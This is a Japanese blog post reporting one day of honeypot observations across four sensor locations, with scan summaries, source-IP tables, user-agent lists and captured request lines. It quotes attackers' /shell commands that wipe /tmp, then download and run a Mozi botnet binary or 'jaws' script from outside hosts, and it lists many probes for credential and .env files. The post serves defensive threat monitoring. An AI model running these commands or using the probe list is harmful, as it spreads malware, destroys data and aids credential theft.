コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/05/22 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2023/05/22分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

Spring Bootの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://190.109.229.76:55884/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:US

D-link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
/.awsへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
.jsへのスキャン行為
/.awsへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：409 (前日比：-53)
US：総アクセス数：97 (前日比：-94)
UK：総アクセス数：74 (前日比：-212)
SG：総アクセス数：185 (前日比：34)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
281 34.226.121.88 United States
18 43.154.141.71 Singapore
41 44.213.73.77 United States
1 45.56.108.128 United States
1 45.79.181.179 United States
1 45.79.181.223 United States
1 45.83.67.204 Germany
1 47.74.21.245 United States
1 64.62.197.203 United States
1 64.62.197.207 United States
1 71.6.134.229 United States
1 104.192.0.50 United States
1 104.215.114.2 United States
2 109.122.221.170 Georgia
1 109.207.200.43 Ukraine
2 109.237.97.180 Russia
3 116.204.96.77 China
1 119.56.215.182 South Korea
7 135.125.244.48 France
7 135.125.246.110 France
1 167.94.145.59 United States
1 167.94.146.57 United States
7 170.64.153.110 United States
2 172.104.11.4 United States
2 172.104.11.34 United States
1 172.104.11.46 United States
5 172.105.110.135 United States
1 172.105.128.13 United States
6 185.254.196.173 Ukraine
3 185.254.196.186 Ukraine
1 190.109.229.76 Bolivia
1 191.248.76.6 Brazil
2 192.155.90.220 United States
1 198.199.102.77 United States
1 198.235.24.194 United States
1 205.210.31.15 United States

UserAgent一覧

件数 UserAgent
23 -
1 Go-http-client/1.1
1 Hello, World
1 Hello, world
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
10 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
14 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
12 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
18 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05)
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
9 Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
10 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
5 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
9 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
7 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
9 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
9 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
11 Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
9 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
9 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
67 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
6 Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
9 Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 HELP
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01\x01H\x01
16 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n
2 GET /.aws/config HTTP/1.1
2 GET /.aws/credentials HTTP/1.1
1 GET /.bash_history HTTP/1.1
1 GET /.bash_logout HTTP/1.1
1 GET /.bash_profile HTTP/1.1
1 GET /.bashrc HTTP/1.1
1 GET /.c9/metadata/environment/.env HTTP/1.1
1 GET /.docker/.env HTTP/1.1
1 GET /.docker/laravel/app/.env HTTP/1.1
1 GET /.env-example HTTP/1.1
1 GET /.env-sample HTTP/1.1
1 GET /.env.2 HTTP/1.1
1 GET /.env.backup HTTP/1.1
1 GET /.env.bak HTTP/1.1
1 GET /.env.dev.local HTTP/1.1
1 GET /.env.dev HTTP/1.1
1 GET /.env.development.local HTTP/1.1
1 GET /.env.development.sample HTTP/1.1
1 GET /.env.dist HTTP/1.1
1 GET /.env.docker.dev HTTP/1.1
1 GET /.env.docker HTTP/1.1
1 GET /.env.example HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.php HTTP/1.1
1 GET /.env.prod.local HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production.local HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.sample.php HTTP/1.1
1 GET /.env.sample HTTP/1.1
1 GET /.env.save HTTP/1.1
1 GET /.env.stage HTTP/1.1
1 GET /.env.test.local HTTP/1.1
1 GET /.env.test.sample HTTP/1.1
1 GET /.env.test HTTP/1.1
1 GET /.env.travis HTTP/1.1
1 GET /.env.txt HTTP/1.1
1 GET /.env.www HTTP/1.1
1 GET /.env1 HTTP/1.1
1 GET /.env_1 HTTP/1.1
1 GET /.env_bak HTTP/1.1
1 GET /.env_old HTTP/1.1
27 GET /.env HTTP/1.1
1 GET /.environment HTTP/1.1
1 GET /.envrc HTTP/1.1
1 GET /.envs HTTP/1.1
1 GET /.env~ HTTP/1.1
1 GET /.flaskenv HTTP/1.1
1 GET /.ghc.environment HTTP/1.1
1 GET /.gitlab-ci/.env HTTP/1.1
1 GET /.hsenv HTTP/1.1
1 GET /.jenv-version HTTP/1.1
1 GET /.pam_environment HTTP/1.1
1 GET /.powenv HTTP/1.1
1 GET /.profile HTTP/1.1
1 GET /.rbenv-gemsets HTTP/1.1
1 GET /.rbenv-version HTTP/1.1
2 GET /.s3cfg HTTP/1.1
1 GET /.venv HTTP/1.1
1 GET /.vscode/.env HTTP/1.1
1 GET /.wp-config.php.swp HTTP/1.1
1 GET /.zshenv HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /WEB-INF/jetty-env.xml HTTP/1.1
1 GET /_phpinfo.php HTTP/1.1
1 GET /_profiler/info HTTP/1.1
1 GET /_profiler/phpinfo.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/;/env HTTP/1.1
1 GET /actuator/env HTTP/1.1
1 GET /actuators/env HTTP/1.1
1 GET /admin-app/.env HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /admin/dashboard/info.php HTTP/1.1
1 GET /admin/phpinfo.php HTTP/1.1
1 GET /alpha/.env HTTP/1.1
2 GET /api/.env HTTP/1.1
1 GET /api/phpinfo.php HTTP/1.1
1 GET /api/src/.env HTTP/1.1
1 GET /api/src HTTP/1.1
1 GET /apis/.env HTTP/1.1
1 GET /app.conf HTTP/1.1
1 GET /app.config HTTP/1.1
1 GET /app.yaml HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/.flaskenv HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /app/config/dev/.env HTTP/1.1
1 GET /app/config/parameters.yml HTTP/1.1
1 GET /app_dev.php/_profiler/phpinfo HTTP/1.1
1 GET /application.conf HTTP/1.1
1 GET /application.properties HTTP/1.1
1 GET /application.yml HTTP/1.1
1 GET /apps/.env HTTP/1.1
2 GET /appsettings.json HTTP/1.1
1 GET /appsettings.xml HTTP/1.1
1 GET /appsettings.yaml HTTP/1.1
1 GET /assets/.env HTTP/1.1
1 GET /aws.js HTTP/1.1
2 GET /aws_config.js HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /backup/.env HTTP/1.1
1 GET /beta/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /bootstrap/.env HTTP/1.1
1 GET /bower.json HTTP/1.1
1 GET /cgi-bin/printenv.pl HTTP/1.1
1 GET /cgi-bin/printenv HTTP/1.1
2 GET /check.php HTTP/1.1
1 GET /client/.env HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /composer.json HTTP/1.1
1 GET /config.cson HTTP/1.1
1 GET /config.env HTTP/1.1
1 GET /config.hjson HTTP/1.1
1 GET /config.inc.php HTTP/1.1
1 GET /config.ini.php HTTP/1.1
1 GET /config.ini HTTP/1.1
1 GET /config.js HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config.php.bak HTTP/1.1
1 GET /config.php HTTP/1.1
1 GET /config.xml HTTP/1.1
1 GET /config.yaml HTTP/1.1
1 GET /config/.env HTTP/1.1
1 GET /configuration.yaml HTTP/1.1
1 GET /configure.php.bak HTTP/1.1
1 GET /connectionstrings.ini HTTP/1.1
1 GET /connectionstrings.json HTTP/1.1
1 GET /connectionstrings.xml HTTP/1.1
1 GET /content/.env HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /cp/.env HTTP/1.1
1 GET /credentials.cfg HTTP/1.1
1 GET /credentials.cson HTTP/1.1
1 GET /credentials.hjson HTTP/1.1
1 GET /credentials.xml HTTP/1.1
1 GET /credentials.yaml HTTP/1.1
1 GET /crm/.env.production HTTP/1.1
1 GET /d/.env HTTP/1.1
1 GET /dashboard/phpinfo.php HTTP/1.1
1 GET /dashboard/test.php HTTP/1.1
1 GET /database.cfg HTTP/1.1
1 GET /database.inc.php HTTP/1.1
1 GET /database.ini HTTP/1.1
1 GET /database.json HTTP/1.1
1 GET /database.php HTTP/1.1
1 GET /database.xml HTTP/1.1
1 GET /debug/default HTTP/1.1
1 GET /demo/.env HTTP/1.1
1 GET /deploy.env HTTP/1.1
1 GET /dev/.env HTTP/1.1
1 GET /develop/info.php HTTP/1.1
1 GET /development.ini HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /docs/.env HTTP/1.1
1 GET /download/.env HTTP/1.1
1 GET /en/.env HTTP/1.1
1 GET /env.bak/ HTTP/1.1
1 GET /env.bak HTTP/1.1
2 GET /env.js HTTP/1.1
2 GET /env.json HTTP/1.1
1 GET /env.list HTTP/1.1
1 GET /env.php HTTP/1.1
1 GET /env.txt HTTP/1.1
1 GET /env/.env HTTP/1.1
1 GET /env/ HTTP/1.1
1 GET /env HTTP/1.1
1 GET /environment.rb HTTP/1.1
1 GET /environment.ts HTTP/1.1
1 GET /environment HTTP/1.1
1 GET /envrc HTTP/1.1
1 GET /export/.env HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /files/.env HTTP/1.1
2 GET /frontend_dev.php/$ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /global.inc.php HTTP/1.1
1 GET /global.ini HTTP/1.1
1 GET /global.json HTTP/1.1
1 GET /global.php HTTP/1.1
1 GET /global.xml HTTP/1.1
1 GET /home/.env HTTP/1.1
2 GET /i.php HTTP/1.1
1 GET /icons/.env HTTP/1.1
1 GET /images/.env HTTP/1.1
1 GET /img/.env HTTP/1.1
2 GET /index.js HTTP/1.1
1 GET /index.php/phpinfo HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /info/phpinfo.php HTTP/1.1
1 GET /info1.php HTTP/1.1
1 GET /info HTTP/1.1
1 GET /js/config.js HTTP/1.1
1 GET /kyc/.env HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /laravel/core/.env HTTP/1.1
1 GET /lib/.env HTTP/1.1
1 GET /live/.env.staging HTTP/1.1
1 GET /local-phpinfo.php HTTP/1.1
1 GET /local.inc.php HTTP/1.1
1 GET /local.ini HTTP/1.1
1 GET /local.json HTTP/1.1
1 GET /local.php HTTP/1.1
1 GET /local.xml HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /login/.env HTTP/1.1
1 GET /mailer/.env HTTP/1.1
1 GET /management/env HTTP/1.1
1 GET /manual/.env HTTP/1.1
1 GET /media/.env HTTP/1.1
1 GET /p.php HTTP/1.1
1 GET /package.json HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php-info HTTP/1.1
1 GET /php.ini HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php/phpinfo.php HTTP/1.1
1 GET /php_info.php HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
2 GET /phpinfo HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /phptest.php HTTP/1.1
1 GET /pi.php HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /printenv.tmp HTTP/1.1
1 GET /printenv HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /results/.env HTTP/1.1
1 GET /root/infophp HTTP/1.1
1 GET /script/.env HTTP/1.1
1 GET /scripts/.env HTTP/1.1
1 GET /secrets.cfg HTTP/1.1
1 GET /secrets.cson HTTP/1.1
1 GET /secrets.env HTTP/1.1
1 GET /secrets.hjson HTTP/1.1
1 GET /secrets.xml HTTP/1.1
1 GET /secrets.yaml HTTP/1.1
1 GET /sendgrid.env HTTP/1.1
1 GET /server.cfg HTTP/1.1
1 GET /server/.env HTTP/1.1
1 GET /server/phpinfo.php HTTP/1.1
1 GET /services/.env HTTP/1.1
1 GET /settings.cfg HTTP/1.1
1 GET /settings.inc.php HTTP/1.1
1 GET /settings.ini HTTP/1.1
1 GET /settings.json HTTP/1.1
1 GET /settings.php HTTP/1.1
1 GET /settings.xml HTTP/1.1
1 GET /shared/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//190[.]109[.]229[.]76:55884/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /site/.env HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /staging/.env HTTP/1.1
1 GET /staging2/.env HTTP/1.1
1 GET /static/.env HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /system/.env HTTP/1.1
1 GET /system/config/system.yaml HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
3 GET /temp.php HTTP/1.1
1 GET /test.js HTTP/1.1
2 GET /test.php HTTP/1.1
1 GET /test/.env HTTP/1.1
2 GET /test1.php HTTP/1.1
1 GET /test2.php HTTP/1.1
1 GET /testing.php HTTP/1.1
1 GET /testphpinfo HTTP/1.1
1 GET /tools/info.php HTTP/1.1
1 GET /tornado.options HTTP/1.1
1 GET /twitter/.env HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /upload.js HTTP/1.1
1 GET /uploads/.env HTTP/1.1
1 GET /v1/.env HTTP/1.1
1 GET /v2/.env HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET /web.config HTTP/1.1
1 GET /web/.env HTTP/1.1
1 GET /wp-config-sample.inc.php HTTP/1.1
1 GET /wp-config-sample.json HTTP/1.1
1 GET /wp-config-sample.php HTTP/1.1
1 GET /wp-config-sample.xml HTTP/1.1
1 GET /wp-config.backup HTTP/1.1
2 GET /wp-config.bak HTTP/1.1
1 GET /wp-config.good HTTP/1.1
1 GET /wp-config.inc.php HTTP/1.1
1 GET /wp-config.json HTTP/1.1
1 GET /wp-config.orig HTTP/1.1
1 GET /wp-config.php-bak HTTP/1.1
1 GET /wp-config.php. HTTP/1.1
1 GET /wp-config.php.backup HTTP/1.1
1 GET /wp-config.php.bak HTTP/1.1
1 GET /wp-config.php.bk HTTP/1.1
1 GET /wp-config.php.new HTTP/1.1
1 GET /wp-config.php.orig HTTP/1.1
1 GET /wp-config.php.save HTTP/1.1
1 GET /wp-config.php_ HTTP/1.1
1 GET /wp-config.php_bak HTTP/1.1
1 GET /wp-config.php_bk HTTP/1.1
1 GET /wp-config.php_old HTTP/1.1
1 GET /wp-config.php_orig HTTP/1.1
2 GET /wp-config.php HTTP/1.1
1 GET /wp-config.php~ HTTP/1.1
1 GET /wp-config.xml HTTP/1.1
1 GET /wp-content/ HTTP/1.1
18 HEAD /Core/Skin/Login.aspx HTTP/1.1
2 HEAD / HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.25.16.215 United States
3 23.98.191.47 United States
6 34.118.133.6 United States
3 38.68.41.112 United States
1 45.79.128.205 United States
2 45.79.172.21 United States
2 45.79.181.94 United States
1 45.128.232.62 Bulgaria
1 45.227.254.48 Belize
1 47.87.154.192 United States
2 47.120.42.157 China
1 49.87.99.46 China
4 51.79.29.48 Canada
1 51.159.164.227 France
12 54.36.115.221 France
10 54.37.79.75 France
1 64.62.197.145 United States
1 64.62.197.147 United States
7 79.133.51.240 Germany
1 92.255.85.152 Hong Kong
5 95.214.27.131 Bulgaria
1 103.91.210.110 China
1 109.207.200.43 Ukraine
4 109.237.97.180 Russia
2 162.142.125.216 United States
2 167.94.146.59 United States
2 167.172.89.248 United States
2 167.248.133.38 United States
1 172.105.128.12 United States
1 179.43.177.244 Panama
1 192.155.90.118 United States
4 192.155.90.220 United States
2 193.42.32.124 Bulgaria
2 194.165.16.111 Panama
2 194.180.48.85 Bulgaria
1 198.199.98.142 United States
1 205.210.31.2 United States
1 205.210.31.166 United States
1 212.224.93.109 Germany

UserAgent一覧

件数 UserAgent
24 -
1 DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http[:]//www[.]google[.]com/bot.html)
1 Mozilla/5.0 (Linux; Android 12; Pixel 4a) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
11 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12
35 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT
8 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
2 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
4 \x03
2 \x16\x03\x01\x01H\x01
13 \x16\x03\x01
38 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
2 GET /_profiler/phpinfo HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aab8 HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config/mail.php HTTP/1.1
2 GET /debug/default/view?panel=config HTTP/1.1
2 GET /docker-compose.yml HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /phpinfo.php HTTP/1.1
2 GET /sendgrid.env HTTP/1.1
2 GET /smtp.php HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
8 POST /boaform/admin/formLogin HTTP/1.1
3 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 3.90.64.7 United States
1 18.212.3.249 United States
3 35.237.63.10 United States
1 45.79.128.205 United States
1 45.79.172.21 United States
2 45.79.181.94 United States
1 45.79.181.251 United States
1 45.83.65.239 Germany
1 45.227.254.48 Belize
1 49.143.32.6 South Korea
27 54.37.79.75 France
1 64.62.197.13 United States
1 64.62.197.14 United States
1 81.28.6.204 Israel
1 91.223.227.140 Ukraine
4 109.237.97.180 Russia
1 152.89.196.144 Russia
2 167.94.138.127 United States
1 172.104.11.4 United States
2 172.104.11.46 United States
2 185.11.61.182 Russia
4 185.181.102.18 Romania
2 192.155.90.118 United States
2 192.155.90.220 United States
1 192.241.207.106 United States
1 193.35.18.61 Bulgaria
2 193.42.32.124 Bulgaria
2 194.165.16.111 Panama
2 194.180.48.85 Bulgaria
1 205.210.31.2 United States
1 205.210.31.98 United States

UserAgent一覧

件数 UserAgent
30 -
1 Hello, world
1 Mozila/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
31 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
